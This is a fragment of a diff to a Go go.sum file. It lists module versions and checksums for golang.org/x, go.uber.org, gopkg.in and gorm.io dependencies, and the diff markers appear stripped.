go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
|
||||
go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
|
||||
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
|
||||
go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
|
||||
go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=
|
||||
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
|
||||
go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
|
||||
go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
|
||||
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20181009213950-7c1a557ab941/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
@@ -866,17 +853,20 @@ golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8U
|
||||
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200220183623-bac4c82f6975/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20200323165209-0ec3e9974c59/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM=
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
|
||||
@@ -921,7 +911,6 @@ golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73r
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181005035420-146acd28ed58/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181011144130-49bb7cea24b1/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -939,7 +928,6 @@ golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLL
|
||||
golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
@@ -964,8 +952,8 @@ golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
@@ -999,11 +987,9 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -1026,7 +1012,6 @@ golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1049,7 +1034,6 @@ golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1068,6 +1052,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1080,22 +1065,24 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
@@ -1139,15 +1126,14 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
@@ -1176,6 +1162,7 @@ golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4f
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -1325,7 +1312,6 @@ gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMy
|
||||
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
|
||||
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
|
||||
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
|
||||
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
|
||||
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
|
||||
@@ -1338,19 +1324,20 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
|
||||
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
|
||||
gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
|
||||
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
|
||||
gorm.io/driver/postgres v1.0.5/go.mod h1:qrD92UurYzNctBMVCJ8C3VQEjffEuphycXtxOudXNCA=
|
||||
gorm.io/driver/sqlite v1.1.3 h1:BYfdVuZB5He/u9dt4qDpZqiqDJ6KhPqs5QUqsr/Eeuc=
|
||||
